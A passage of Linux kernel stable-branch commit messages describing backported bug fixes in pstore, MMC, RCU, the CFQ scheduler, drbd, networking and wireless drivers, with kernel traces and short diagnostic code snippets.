Author: Furquan Shaikh <furquan@google.com>
Date:   Mon Feb 15 09:19:48 2016 +0100

    pstore/ram: Use memcpy_toio instead of memcpy
    
    commit 7e75678d23167c2527e655658a8ef36a36c8b4d9 upstream.
    
    persistent_ram_update uses vmap / iomap based on whether the buffer is in
    memory region or reserved region. However, both map it as non-cacheable
    memory. For armv8 specifically, non-cacheable mapping requests use a
    memory type that has to be accessed aligned to the request size. memcpy()
    doesn't guarantee that.
    
    Signed-off-by: Furquan Shaikh <furquan@google.com>
    Signed-off-by: Enric Balletbo Serra <enric.balletbo@collabora.com>
    Reviewed-by: Aaron Durbin <adurbin@chromium.org>
    Reviewed-by: Olof Johansson <olofj@chromium.org>
    Tested-by: Furquan Shaikh <furquan@chromium.org>
    Signed-off-by: Kees Cook <keescook@chromium.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 90efe9d4773eedf96d9e4ebb0193da7c6f09ca52
Author: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
Date:   Thu Sep 8 13:48:06 2016 +0200

    pstore/core: drop cmpxchg based updates
    
    commit d5a9bf0b38d2ac85c9a693c7fb851f74fd2a2494 upstream.
    
    I have here a FPGA behind PCIe which exports SRAM which I use for
    pstore. Now it seems that the FPGA no longer supports cmpxchg based
    updates and writes back 0xff…ff and returns the same.  This leads to
    crash during crash rendering pstore useless.
    Since I doubt that there is much benefit from using cmpxchg() here, I am
    dropping this atomic access and use the spinlock based version.
    
    Cc: Anton Vorontsov <anton@enomsg.org>
    Cc: Colin Cross <ccross@android.com>
    Cc: Kees Cook <keescook@chromium.org>
    Cc: Tony Luck <tony.luck@intel.com>
    Cc: Rabin Vincent <rabinv@axis.com>
    Tested-by: Rabin Vincent <rabinv@axis.com>
    Signed-off-by: Sebastian Andrzej Siewior <bigeasy@linutronix.de>
    Reviewed-by: Guenter Roeck <linux@roeck-us.net>
    [kees: remove "_locked" suffix since it's the only option now]
    Signed-off-by: Kees Cook <keescook@chromium.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 98af342bf574c0fb71194be847014cf3ac90737b
Author: Daniel Glöckner <dg@emlix.com>
Date:   Tue Aug 30 14:17:30 2016 +0200

    mmc: block: don't use CMD23 with very old MMC cards
    
    commit 0ed50abb2d8fc81570b53af25621dad560cd49b3 upstream.
    
    CMD23 aka SET_BLOCK_COUNT was introduced with MMC v3.1.
    Older versions of the specification allowed to terminate
    multi-block transfers only with CMD12.
    
    The patch fixes the following problem:
    
      mmc0: new MMC card at address 0001
      mmcblk0: mmc0:0001 SDMB-16 15.3 MiB
      mmcblk0: timed out sending SET_BLOCK_COUNT command, card status 0x400900
      ...
      blk_update_request: I/O error, dev mmcblk0, sector 0
      Buffer I/O error on dev mmcblk0, logical block 0, async page read
       mmcblk0: unable to read partition table
    
    Signed-off-by: Daniel Glöckner <dg@emlix.com>
    Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0d9dddc0b582237e0e8afa19f83a3844fa9a846e
Author: Fabio Estevam <fabio.estevam@nxp.com>
Date:   Sat Nov 5 17:45:07 2016 -0200

    mmc: mxs: Initialize the spinlock prior to using it
    
    commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream.
    
    An interrupt may occur right after devm_request_irq() is called and
    prior to the spinlock initialization, leading to a kernel oops,
    as the interrupt handler uses the spinlock.
    
    In order to prevent this problem, move the spinlock initialization
    prior to requesting the interrupts.
    
    Fixes: e4243f13d10e (mmc: mxs-mmc: add mmc host driver for i.MX23/28)
    Signed-off-by: Fabio Estevam <fabio.estevam@nxp.com>
    Reviewed-by: Marek Vasut <marex@denx.de>
    Signed-off-by: Ulf Hansson <ulf.hansson@linaro.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 6d97f02a6c0faa8cef0bae45cc2f16fbaf38332a
Author: Johan Hovold <johan@kernel.org>
Date:   Tue Nov 1 11:49:56 2016 +0100

    PM / sleep: fix device reference leak in test_suspend
    
    commit ceb75787bc75d0a7b88519ab8a68067ac690f55a upstream.
    
    Make sure to drop the reference taken by class_find_device() after
    opening the RTC device.
    
    Fixes: 77437fd4e61f (pm: boot time suspend selftest)
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 26b5a4a56fd60530d0ab3b51a7fda5841d4f9316
Author: Johan Hovold <johan@kernel.org>
Date:   Tue Nov 1 11:38:18 2016 +0100

    mfd: core: Fix device reference leak in mfd_clone_cell
    
    commit 722f191080de641f023feaa7d5648caf377844f5 upstream.
    
    Make sure to drop the reference taken by bus_find_device_by_name()
    before returning from mfd_clone_cell().
    
    Fixes: a9bbba996302 ("mfd: add platform_device sharing support for mfd")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Lee Jones <lee.jones@linaro.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 479ce88b0d2a0abe07d9c8da8cf80a5eef626831
Author: Jaewon Kim <jaewon31.kim@samsung.com>
Date:   Thu Jan 21 16:55:07 2016 -0800

    ratelimit: fix bug in time interval by resetting right begin time
    
    commit c2594bc37f4464bc74f2c119eb3269a643400aa0 upstream.
    
    rs->begin in ratelimit is set in two cases.
     1) when rs->begin was not initialized
     2) when rs->interval was passed
    
    For case #2, current ratelimit sets the begin to 0.  This incurrs
    improper suppression.  The begin value will be set in the next ratelimit
    call by 1).  Then the time interval check will be always false, and
    rs->printed will not be initialized.  Although enough time passed,
    ratelimit may return 0 if rs->printed is not less than rs->burst.  To
    reset interval properly, begin should be jiffies rather than 0.
    
    For an example code below:
    
        static DEFINE_RATELIMIT_STATE(mylimit, 1, 1);
        for (i = 1; i <= 10; i++) {
            if (__ratelimit(&mylimit))
                printk("ratelimit test count %d\n", i);
            msleep(3000);
        }
    
    test result in the current code shows suppression even there is 3 seconds sleep.
    
      [  78.391148] ratelimit test count 1
      [  81.295988] ratelimit test count 2
      [  87.315981] ratelimit test count 4
      [  93.336267] ratelimit test count 6
      [  99.356031] ratelimit test count 8
      [ 105.376367] ratelimit test count 10
    
    Signed-off-by: Jaewon Kim <jaewon31.kim@samsung.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit fe5080ab6312a89b61fdd1341519b88bbfae0eae
Author: Ding Tianhong <dingtianhong@huawei.com>
Date:   Wed Jun 15 15:27:36 2016 +0800

    rcu: Fix soft lockup for rcu_nocb_kthread
    
    commit bedc1969150d480c462cdac320fa944b694a7162 upstream.
    
    Carrying out the following steps results in a softlockup in the
    RCU callback-offload (rcuo) kthreads:
    
    1. Connect to ixgbevf, and set the speed to 10Gb/s.
    2. Use ifconfig to bring the nic up and down repeatedly.
    
    [  317.005148] IPv6: ADDRCONF(NETDEV_CHANGE): eth2: link becomes ready
    [  368.106005] BUG: soft lockup - CPU#1 stuck for 22s! [rcuos/1:15]
    [  368.106005] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011
    [  368.106005] task: ffff88057dd8a220 ti: ffff88057dd9c000 task.ti: ffff88057dd9c000
    [  368.106005] RIP: 0010:[<ffffffff81579e04>]  [<ffffffff81579e04>] fib_table_lookup+0x14/0x390
    [  368.106005] RSP: 0018:ffff88061fc83ce8  EFLAGS: 00000286
    [  368.106005] RAX: 0000000000000001 RBX: 00000000020155c0 RCX: 0000000000000001
    [  368.106005] RDX: ffff88061fc83d50 RSI: ffff88061fc83d70 RDI: ffff880036d11a00
    [  368.106005] RBP: ffff88061fc83d08 R08: 0000000000000001 R09: 0000000000000000
    [  368.106005] R10: ffff880036d11a00 R11: ffffffff819e0900 R12: ffff88061fc83c58
    [  368.106005] R13: ffffffff816154dd R14: ffff88061fc83d08 R15: 00000000020155c0
    [  368.106005] FS:  0000000000000000(0000) GS:ffff88061fc80000(0000) knlGS:0000000000000000
    [  368.106005] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
    [  368.106005] CR2: 00007f8c2aee9c40 CR3: 000000057b222000 CR4: 00000000000407e0
    [  368.106005] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
    [  368.106005] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400
    [  368.106005] Stack:
    [  368.106005]  00000000010000c0 ffff88057b766000 ffff8802e380b000 ffff88057af03e00
    [  368.106005]  ffff88061fc83dc0 ffffffff815349a6 ffff88061fc83d40 ffffffff814ee146
    [  368.106005]  ffff8802e380af00 00000000e380af00 ffffffff819e0900 020155c0010000c0
    [  368.106005] Call Trace:
    [  368.106005]  <IRQ>
    [  368.106005]
    [  368.106005]  [<ffffffff815349a6>] ip_route_input_noref+0x516/0xbd0
    [  368.106005]  [<ffffffff814ee146>] ? skb_release_data+0xd6/0x110
    [  368.106005]  [<ffffffff814ee20a>] ? kfree_skb+0x3a/0xa0
    [  368.106005]  [<ffffffff8153698f>] ip_rcv_finish+0x29f/0x350
    [  368.106005]  [<ffffffff81537034>] ip_rcv+0x234/0x380
    [  368.106005]  [<ffffffff814fd656>] __netif_receive_skb_core+0x676/0x870
    [  368.106005]  [<ffffffff814fd868>] __netif_receive_skb+0x18/0x60
    [  368.106005]  [<ffffffff814fe4de>] process_backlog+0xae/0x180
    [  368.106005]  [<ffffffff814fdcb2>] net_rx_action+0x152/0x240
    [  368.106005]  [<ffffffff81077b3f>] __do_softirq+0xef/0x280
    [  368.106005]  [<ffffffff8161619c>] call_softirq+0x1c/0x30
    [  368.106005]  <EOI>
    [  368.106005]
    [  368.106005]  [<ffffffff81015d95>] do_softirq+0x65/0xa0
    [  368.106005]  [<ffffffff81077174>] local_bh_enable+0x94/0xa0
    [  368.106005]  [<ffffffff81114922>] rcu_nocb_kthread+0x232/0x370
    [  368.106005]  [<ffffffff81098250>] ? wake_up_bit+0x30/0x30
    [  368.106005]  [<ffffffff811146f0>] ? rcu_start_gp+0x40/0x40
    [  368.106005]  [<ffffffff8109728f>] kthread+0xcf/0xe0
    [  368.106005]  [<ffffffff810971c0>] ? kthread_create_on_node+0x140/0x140
    [  368.106005]  [<ffffffff816147d8>] ret_from_fork+0x58/0x90
    [  368.106005]  [<ffffffff810971c0>] ? kthread_create_on_node+0x140/0x140
    
    ==================================cut here==============================
    
    It turns out that the rcuos callback-offload kthread is busy processing
    a very large quantity of RCU callbacks, and it is not reliquishing the
    CPU while doing so.  This commit therefore adds an cond_resched_rcu_qs()
    within the loop to allow other tasks to run.
    
    [js] use onlu cond_resched() in 3.12
    
    Signed-off-by: Ding Tianhong <dingtianhong@huawei.com>
    [ paulmck: Substituted cond_resched_rcu_qs for cond_resched. ]
    Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
    Cc: Dhaval Giani <dhaval.giani@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9db8b648012f91d0ed05695ab2fe43c3eac8879a
Author: Dan Carpenter <dan.carpenter@oracle.com>
Date:   Wed Jul 20 15:45:05 2016 -0700

    tools/vm/slabinfo: fix an unintentional printf
    
    commit 2d6a4d64812bb12dda53704943b61a7496d02098 upstream.
    
    The curly braces are missing here so we print stuff unintentionally.
    
    Fixes: 9da4714a2d44 ('slub: slabinfo update for cmpxchg handling')
    Link: http://lkml.kernel.org/r/20160715211243.GE19522@mwanda
    Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
    Acked-by: Christoph Lameter <cl@linux.com>
    Cc: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
    Cc: Colin Ian King <colin.king@canonical.com>
    Cc: Laura Abbott <labbott@fedoraproject.org>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit f98c2c402949fe2834a8291662c92c4ab5122273
Author: Daniel Mentz <danielmentz@google.com>
Date:   Thu Oct 27 17:46:59 2016 -0700

    lib/genalloc.c: start search from start of chunk
    
    commit 62e931fac45b17c2a42549389879411572f75804 upstream.
    
    gen_pool_alloc_algo() iterates over the chunks of a pool trying to find
    a contiguous block of memory that satisfies the allocation request.
    
    The shortcut
    
            if (size > atomic_read(&chunk->avail))
                    continue;
    
    makes the loop skip over chunks that do not have enough bytes left to
    fulfill the request.  There are two situations, though, where an
    allocation might still fail:
    
    (1) The available memory is not contiguous, i.e.  the request cannot
        be fulfilled due to external fragmentation.
    
    (2) A race condition.  Another thread runs the same code concurrently
        and is quicker to grab the available memory.
    
    In those situations, the loop calls pool->algo() to search the entire
    chunk, and pool->algo() returns some value that is >= end_bit to
    indicate that the search failed.  This return value is then assigned to
    start_bit.  The variables start_bit and end_bit describe the range that
    should be searched, and this range should be reset for every chunk that
    is searched.  Today, the code fails to reset start_bit to 0.  As a
    result, prefixes of subsequent chunks are ignored.  Memory allocations
    might fail even though there is plenty of room left in these prefixes of
    those other chunks.
    
    Fixes: 7f184275aa30 ("lib, Make gen_pool memory allocator lockless")
    Link: http://lkml.kernel.org/r/1477420604-28918-1-git-send-email-danielmentz@google.com
    Signed-off-by: Daniel Mentz <danielmentz@google.com>
    Reviewed-by: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
    Acked-by: Will Deacon <will.deacon@arm.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 7a59aff691251369427fe72aca5925b8db52937e
Author: Richard Weinberger <richard@nod.at>
Date:   Wed Nov 9 22:52:58 2016 +0100

    drbd: Fix kernel_sendmsg() usage - potential NULL deref
    
    commit d8e9e5e80e882b4f90cba7edf1e6cb7376e52e54 upstream.
    
    Don't pass a size larger than iov_len to kernel_sendmsg().
    Otherwise it will cause a NULL pointer deref when kernel_sendmsg()
    returns with rv < size.
    
    DRBD as external module has been around in the kernel 2.4 days already.
    We used to be compatible to 2.4 and very early 2.6 kernels,
    we used to use
     rv = sock_sendmsg(sock, &msg, iov.iov_len);
    then later changed to
     rv = kernel_sendmsg(sock, &msg, &iov, 1, size);
    when we should have used
     rv = kernel_sendmsg(sock, &msg, &iov, 1, iov.iov_len);
    
    tcp_sendmsg() used to totally ignore the size parameter.
     57be5bd ip: convert tcp_sendmsg() to iov_iter primitives
    changes that, and exposes our long standing error.
    
    Even with this error exposed, to trigger the bug, we would need to have
    an environment (config or otherwise) causing us to not use sendpage()
    for larger transfers, a failing connection, and have it fail "just at the
    right time".  Apparently that was unlikely enough for most, so this went
    unnoticed for years.
    
    Still, it is known to trigger at least some of these,
    and suspected for the others:
    [0] http://lists.linbit.com/pipermail/drbd-user/2016-July/023112.html
    [1] http://lists.linbit.com/pipermail/drbd-dev/2016-March/003362.html
    [2] https://forums.grsecurity.net/viewtopic.php?f=3&t=4546
    [3] https://ubuntuforums.org/showthread.php?t=2336150
    [4] http://e2.howsolveproblem.com/i/1175162/
    
    This should go into 4.9,
    and into all stable branches since and including v4.0,
    which is the first to contain the exposing change.
    
    It is correct for all stable branches older than that as well
    (which contain the DRBD driver; which is 2.6.33 and up).
    
    It requires a small "conflict" resolution for v4.4 and earlier, with v4.5
    we dropped the comment block immediately preceding the kernel_sendmsg().
    
    Fixes: b411b3637fa7 ("The DRBD driver")
    Cc: viro@zeniv.linux.org.uk
    Cc: christoph.lechleitner@iteg.at
    Cc: wolfgang.glas@iteg.at
    Reported-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
    Tested-by: Christoph Lechleitner <christoph.lechleitner@iteg.at>
    Signed-off-by: Richard Weinberger <richard@nod.at>
    [changed oneliner to be "obvious" without context; more verbose message]
    Signed-off-by: Lars Ellenberg <lars.ellenberg@linbit.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 5dd23e675ad85931045252de3d2688e88435b287
Author: Glauber Costa <glauber@scylladb.com>
Date:   Thu Sep 22 20:59:59 2016 -0400

    cfq: fix starvation of asynchronous writes
    
    commit 3932a86b4b9d1f0b049d64d4591ce58ad18b44ec upstream.
    
    While debugging timeouts happening in my application workload (ScyllaDB), I have
    observed calls to open() taking a long time, ranging everywhere from 2 seconds -
    the first ones that are enough to time out my application - to more than 30
    seconds.
    
    The problem seems to happen because XFS may block on pending metadata updates
    under certain circumnstances, and that's confirmed with the following backtrace
    taken by the offcputime tool (iovisor/bcc):
    
        ffffffffb90c57b1 finish_task_switch
        ffffffffb97dffb5 schedule
        ffffffffb97e310c schedule_timeout
        ffffffffb97e1f12 __down
        ffffffffb90ea821 down
        ffffffffc046a9dc xfs_buf_lock
        ffffffffc046abfb _xfs_buf_find
        ffffffffc046ae4a xfs_buf_get_map
        ffffffffc046babd xfs_buf_read_map
        ffffffffc0499931 xfs_trans_read_buf_map
        ffffffffc044a561 xfs_da_read_buf
        ffffffffc0451390 xfs_dir3_leaf_read.constprop.16
        ffffffffc0452b90 xfs_dir2_leaf_lookup_int
        ffffffffc0452e0f xfs_dir2_leaf_lookup
        ffffffffc044d9d3 xfs_dir_lookup
        ffffffffc047d1d9 xfs_lookup
        ffffffffc0479e53 xfs_vn_lookup
        ffffffffb925347a path_openat
        ffffffffb9254a71 do_filp_open
        ffffffffb9242a94 do_sys_open
        ffffffffb9242b9e sys_open
        ffffffffb97e42b2 entry_SYSCALL_64_fastpath
        00007fb0698162ed [unknown]
    
    Inspecting my run with blktrace, I can see that the xfsaild kthread exhibit very
    high "Dispatch wait" times, on the dozens of seconds range and consistent with
    the open() times I have saw in that run.
    
    Still from the blktrace output, we can after searching a bit, identify the
    request that wasn't dispatched:
    
      8,0   11      152    81.092472813   804  A  WM 141698288 + 8 <- (8,1) 141696240
      8,0   11      153    81.092472889   804  Q  WM 141698288 + 8 [xfsaild/sda1]
      8,0   11      154    81.092473207   804  G  WM 141698288 + 8 [xfsaild/sda1]
      8,0   11      206    81.092496118   804  I  WM 141698288 + 8 (   22911) [xfsaild/sda1]
      <==== 'I' means Inserted (into the IO scheduler) ===================================>
      8,0    0   289372    96.718761435     0  D  WM 141698288 + 8 (15626265317) [swapper/0]
      <==== Only 15s later the CFQ scheduler dispatches the request ======================>
    
    As we can see above, in this particular example CFQ took 15 seconds to dispatch
    this request. Going back to the full trace, we can see that the xfsaild queue
    had plenty of opportunity to run, and it was selected as the active queue many
    times. It would just always be preempted by something else (example):
    
      8,0    1        0    81.117912979     0  m   N cfq1618SN / insert_request
      8,0    1        0    81.117913419     0  m   N cfq1618SN / add_to_rr
      8,0    1        0    81.117914044     0  m   N cfq1618SN / preempt
      8,0    1        0    81.117914398     0  m   N cfq767A  / slice expired t=1
      8,0    1        0    81.117914755     0  m   N cfq767A  / resid=40
      8,0    1        0    81.117915340     0  m   N / served: vt=1948520448 min_vt=1948520448
      8,0    1        0    81.117915858     0  m   N cfq767A  / sl_used=1 disp=0 charge=0 iops=1 sect=0
    
    where cfq767 is the xfsaild queue and cfq1618 corresponds to one of the ScyllaDB
    IO dispatchers.
    
    The requests preempting the xfsaild queue are synchronous requests. That's a
    characteristic of ScyllaDB workloads, as we only ever issue O_DIRECT requests.
    While it can be argued that preempting ASYNC requests in favor of SYNC is part
    of the CFQ logic, I don't believe that doing so for 15+ seconds is anyone's
    goal.
    
    Moreover, unless I am misunderstanding something, that breaks the expectation
    set by the "fifo_expire_async" tunable, which in my system is set to the
    default.
    
    Looking at the code, it seems to me that the issue is that after we make
    an async queue active, there is no guarantee that it will execute any request.
    
    When the queue itself tests if it cfq_may_dispatch() it can bail if it sees SYNC
    requests in flight. An incoming request from another queue can also preempt it
    in such situation before we have the chance to execute anything (as seen in the
    trace above).
    
    This patch sets the must_dispatch flag if we notice that we have requests
    that are already fifo_expired. This flag is always cleared after
    cfq_dispatch_request() returns from cfq_dispatch_requests(), so it won't pin
    the queue for subsequent requests (unless they are themselves expired)
    
    Care is taken during preempt to still allow rt requests to preempt us
    regardless.
    
    Testing my workload with this patch applied produces much better results.
    From the application side I see no timeouts, and the open() latency histogram
    generated by systemtap looks much better, with the worst outlier at 131ms:
    
    Latency histogram of xfs_buf_lock acquisition (microseconds):
     value |-------------------------------------------------- count
         0 |                                                     11
         1 |@@@@                                                161
         2 |@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  1966
         4 |@                                                    54
         8 |                                                     36
        16 |                                                      7
        32 |                                                      0
        64 |                                                      0
           ~
      1024 |                                                      0
      2048 |                                                      0
      4096 |                                                      1
      8192 |                                                      1
     16384 |                                                      2
     32768 |                                                      0
     65536 |                                                      0
    131072 |                                                      1
    262144 |                                                      0
    524288 |                                                      0
    
    Signed-off-by: Glauber Costa <glauber@scylladb.com>
    CC: Jens Axboe <axboe@kernel.dk>
    CC: linux-block@vger.kernel.org
    CC: linux-kernel@vger.kernel.org
    Signed-off-by: Glauber Costa <glauber@scylladb.com>
    Signed-off-by: Jens Axboe <axboe@fb.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3d971ee18fe6ca21b722ce2c7e7a1d834d60929b
Author: Willy Tarreau <w@1wt.eu>
Date:   Mon Feb 6 08:59:06 2017 +0100

    Revert "ipc/sem.c: optimize sem_lock()"
    
    This reverts commit 901f6fedc5340d66e2ca67c70dfee926cb5a1ea0
    (upstream commit 6d07b68ce16ae9535955ba2059dedba5309c3ca1).
    
    As suggested in commit 5864a2fd3088db73d47942370d0f7210a807b9bc
    (ipc/sem.c: fix complex_count vs. simple op race) since it introduces
    a regression and the candidate fix requires too many changes for 3.10.
    
    Cc: Manfred Spraul <manfred@colorfullife.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 9c559b0f16355aaf8de2aac991be2dd90c13792b
Author: Michal Hocko <mhocko@suse.com>
Date:   Thu Sep 1 16:15:13 2016 -0700

    kernel/fork: fix CLONE_CHILD_CLEARTID regression in nscd
    
    commit 735f2770a770156100f534646158cb58cb8b2939 upstream.
    
    Commit fec1d0115240 ("[PATCH] Disable CLONE_CHILD_CLEARTID for abnormal
    exit") has caused a subtle regression in nscd which uses
    CLONE_CHILD_CLEARTID to clear the nscd_certainly_running flag in the
    shared databases, so that the clients are notified when nscd is
    restarted.  Now, when nscd uses a non-persistent database, clients that
    have it mapped keep thinking the database is being updated by nscd, when
    in fact nscd has created a new (anonymous) one (for non-persistent
    databases it uses an unlinked file as backend).
    
    The original proposal for the CLONE_CHILD_CLEARTID change claimed
    (https://lkml.org/lkml/2006/10/25/233):
    
    : The NPTL library uses the CLONE_CHILD_CLEARTID flag on clone() syscalls
    : on behalf of pthread_create() library calls.  This feature is used to
    : request that the kernel clear the thread-id in user space (at an address
    : provided in the syscall) when the thread disassociates itself from the
    : address space, which is done in mm_release().
    :
    : Unfortunately, when a multi-threaded process incurs a core dump (such as
    : from a SIGSEGV), the core-dumping thread sends SIGKILL signals to all of
    : the other threads, which then proceed to clear their user-space tids
    : before synchronizing in exit_mm() with the start of core dumping.  This
    : misrepresents the state of process's address space at the time of the
    : SIGSEGV and makes it more difficult for someone to debug NPTL and glibc
    : problems (misleading him/her to conclude that the threads had gone away
    : before the fault).
    :
    : The fix below is to simply avoid the CLONE_CHILD_CLEARTID action if a
    : core dump has been initiated.
    
    The resulting patch from Roland (https://lkml.org/lkml/2006/10/26/269)
    seems to have a larger scope than the original patch asked for.  It
    seems that limitting the scope of the check to core dumping should work
    for SIGSEGV issue describe above.
    
    [Changelog partly based on Andreas' description]
    Fixes: fec1d0115240 ("[PATCH] Disable CLONE_CHILD_CLEARTID for abnormal exit")
    Link: http://lkml.kernel.org/r/1471968749-26173-1-git-send-email-mhocko@kernel.org
    Signed-off-by: Michal Hocko <mhocko@suse.com>
    Tested-by: William Preston <wpreston@suse.com>
    Acked-by: Oleg Nesterov <oleg@redhat.com>
    Cc: Roland McGrath <roland@hack.frob.com>
    Cc: Andreas Schwab <schwab@suse.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 0d75118c756e5c47dbb5394e3ad1d896d6f80285
Author: Steven Rostedt (Red Hat) <rostedt@goodmis.org>
Date:   Fri Sep 23 22:57:13 2016 -0400

    tracing: Move mutex to protect against resetting of seq data
    
    commit 1245800c0f96eb6ebb368593e251d66c01e61022 upstream.
    
    The iter->seq can be reset outside the protection of the mutex. So can
    reading of user data. Move the mutex up to the beginning of the function.
    
    Fixes: d7350c3f45694 ("tracing/core: make the read callbacks reentrants")
    Reported-by: Al Viro <viro@ZenIV.linux.org.uk>
    Signed-off-by: Steven Rostedt <rostedt@goodmis.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit a1f5e915d0fad05c54bcf087a9b8a85560e0f846
Author: Oliver Neukum <oneukum@suse.com>
Date:   Wed Aug 17 15:51:55 2016 +0200

    kaweth: fix firmware download
    
    commit 60bcabd080f53561efa9288be45c128feda1a8bb upstream.
    
    This fixes the oops discovered by the Umap2 project and Alan Stern.
    The intf member needs to be set before the firmware is downloaded.
    
    Signed-off-by: Oliver Neukum <oneukum@suse.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit c9dade91140f892d059f66bd9d8c4c566366ea3f
Author: Jeremy Linton <jeremy.linton@arm.com>
Date:   Thu Nov 17 09:14:25 2016 -0600

    net: sky2: Fix shutdown crash
    
    commit 06ba3b2133dc203e1e9bc36cee7f0839b79a9e8b upstream.
    
    The sky2 frequently crashes during machine shutdown with:
    
    sky2_get_stats+0x60/0x3d8 [sky2]
    dev_get_stats+0x68/0xd8
    rtnl_fill_stats+0x54/0x140
    rtnl_fill_ifinfo+0x46c/0xc68
    rtmsg_ifinfo_build_skb+0x7c/0xf0
    rtmsg_ifinfo.part.22+0x3c/0x70
    rtmsg_ifinfo+0x50/0x5c
    netdev_state_change+0x4c/0x58
    linkwatch_do_dev+0x50/0x88
    __linkwatch_run_queue+0x104/0x1a4
    linkwatch_event+0x30/0x3c
    process_one_work+0x140/0x3e0
    worker_thread+0x60/0x44c
    kthread+0xdc/0xf0
    ret_from_fork+0x10/0x50
    
    This is caused by the sky2 being called after it has been shutdown.
    A previous thread about this can be found here:
    
    https://lkml.org/lkml/2016/4/12/410
    
    An alternative fix is to assure that IFF_UP gets cleared by
    calling dev_close() during shutdown. This is similar to what the
    bnx2/tg3/xgene and maybe others are doing to assure that the driver
    isn't being called following _shutdown().
    
    Signed-off-by: Jeremy Linton <jeremy.linton@arm.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 85801b799e121eefd31eb8a6bc2eb4064220e687
Author: Eli Cooper <elicooper@gmx.com>
Date:   Thu Dec 1 10:05:10 2016 +0800

    ipv4: Set skb->protocol properly for local output
    
    commit f4180439109aa720774baafdd798b3234ab1a0d2 upstream.
    
    When xfrm is applied to TSO/GSO packets, it follows this path:
    
        xfrm_output() -> xfrm_output_gso() -> skb_gso_segment()
    
    where skb_gso_segment() relies on skb->protocol to function properly.
    
    This patch sets skb->protocol to ETH_P_IP before dst_output() is called,
    fixing a bug where GSO packets sent through a sit tunnel are dropped
    when xfrm is involved.
    
    Signed-off-by: Eli Cooper <elicooper@gmx.com>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 3cc6c6bde2cad57013865fd7e282c0c37a7207ae
Author: Brian Norris <briannorris@chromium.org>
Date:   Tue Nov 8 18:28:24 2016 -0800

    mwifiex: printk() overflow with 32-byte SSIDs
    
    commit fcd2042e8d36cf644bd2d69c26378d17158b17df upstream.
    
    SSIDs aren't guaranteed to be 0-terminated. Let's cap the max length
    when we print them out.
    
    This can be easily noticed by connecting to a network with a 32-octet
    SSID:
    
    [ 3903.502925] mwifiex_pcie 0000:01:00.0: info: trying to associate to
    '0123456789abcdef0123456789abcdef <uninitialized mem>' bssid
    xx:xx:xx:xx:xx:xx
    
    Fixes: 5e6e3a92b9a4 ("wireless: mwifiex: initial commit for Marvell mwifiex driver")
    Signed-off-by: Brian Norris <briannorris@chromium.org>
    Acked-by: Amitkumar Karwar <akarwar@marvell.com>
    Signed-off-by: Kalle Valo <kvalo@codeaurora.org>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit 98db9446275f9354e1521c0790ea6bf5b0eecfab
Author: Johannes Berg <johannes.berg@intel.com>
Date:   Tue Nov 15 12:05:11 2016 +0100

    cfg80211: limit scan results cache size
    
    commit 9853a55ef1bb66d7411136046060bbfb69c714fa upstream.
    
    It's possible to make scanning consume almost arbitrary amounts
    of memory, e.g. by sending beacon frames with random BSSIDs at
    high rates while somebody is scanning.
    
    Limit the number of BSS table entries we're willing to cache to
    1000, limiting maximum memory usage to maybe 4-5MB, but lower
    in practice - that would be the case for having both full-sized
    beacon and probe response frames for each entry; this seems not
    possible in practice, so a limit of 1000 entries will likely be
    closer to 0.5 MB.
    
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: Willy Tarreau <w@1wt.eu>

commit f862950df36a3ad2c389270932b51bf2fca26e6d
Author: Johannes Berg <johannes.berg@intel.com>
Date:   Wed Oct 5 10:14:42 2016 +0200

    mac80211: discard multicast and 4-addr A-MSDUs
    
    commit ea720935cf6686f72def9d322298bf7e9bd53377 upstream.
    
    In mac80211, multicast A-MSDUs are accepted in many cases that
    they shouldn't be accepted in:
